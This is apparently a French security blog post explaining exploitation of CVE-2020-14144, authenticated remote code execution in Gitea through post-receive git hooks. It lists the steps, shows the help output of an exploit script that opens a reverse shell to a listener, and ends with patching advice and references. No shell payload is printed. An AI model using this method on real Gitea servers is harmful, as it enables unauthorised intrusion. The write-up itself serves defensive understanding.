Exploitation de la CVE-2020-14144 - Exécution de code à distance authentifié sur GiTea
La fonctionnalité git hook dans Gitea 1.1.0 à 1.12.5 pourrait permettre l’exécution de code à distance authentifié dans les environnements client où la documentation n’a pas été comprise (par exemple, un point de vue est que la dangerosité de cette fonctionnalité doit être documentée immédiatement au-dessus de ENABLE_GIT_HOOKS
ligne dans le fichier de configuration). La vulnerabilité a été trouvée par Niklas Goerke en avril 2020.
REMARQUE: L’éditeur a indiqué qu’il ne s’agissait pas d’une vulnérabilité et déclare “C’est une fonctionnalité du logiciel limitée à un sous-ensemble très limité de comptes. Si vous accordez à quelqu’un le privilège d’exécuter du code arbitraire sur votre serveur, ils peuvent exécuter du code arbitraire sur votre serveur. Nous fournissons des avertissements très clairs aux utilisateurs concernant cette fonctionnalité et ce qu’elle fournit. "
Afin d’exploiter cette vulnérabilité / fonctionnalité, nous devons avoir un compte GiTea avec les droits “May create git hooks” activés.
Une issue github a été ouvert et corrigé dans la version 1.13.0
Exploitation
Afin d’exploiter avec succès cette vulnérabilité / fonctionnalité, la version du serveur cible GiTea doit être comprise entre la version 1.1.0 et la version 1.13, et vous avez besoin d’un compte valide (nom d’utilisateur, mot de passe) avec les droits “May create git hooks” activés.
Compte avec les droits “May create git hooks” actifs |
---|
Du point de vue de l’administration système, le processus gitea ressemble à ceci avant l’exploitation:
Status du service Gitea avant l’exploit |
---|
Tout d’abord, nous devons créer un nouveau repository sur l’interface Web de GiTea, en utilisant notre compte. Nous créons le repository et nous allons dans Paramètres -> Git Hooks -> Post Receive Hook
. Dans ce hook, vous pouvez écrire un script shell qui sera exécuté après avoir reçu un nouveau commit.
Nous allons maintenant créer un répertoire temporaire sur notre machine attaquante et le push vers le repository distant. Cela déclenchera le script Post Receive Hook
.
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
Après avoir push le commit vers le repository distant, il déclenchera le script Post Receive Hook
et nous aurons un reverse shell!
Après l’exploitation, un administrateur système peut facilement voir notre reverse shell détaché dans les processus enfants de GiTea:
Status du service Gitea après l’exploit |
---|
Script d’exploit
$ ./gitea_CVE-2020-14144.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: gitea_CVE-2020-14144.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
Process some integers.
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
Le script complet est disponible ici.
Recommendations
Il est recommandé de mettre à jour Gitea vers la version 1.13.0 et de désactiver les droits May create git hooks
sur tous les comptes n’en ayant pas la nécessité.
Références
- https://nvd.nist.gov/vuln/detail/CVE-2020-14144
- https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
- https://docs.gitlab.com/ee/administration/server_hooks.html
- https://github.com/go-gitea/gitea
- https://github.com/go-gitea/gitea/pull/13058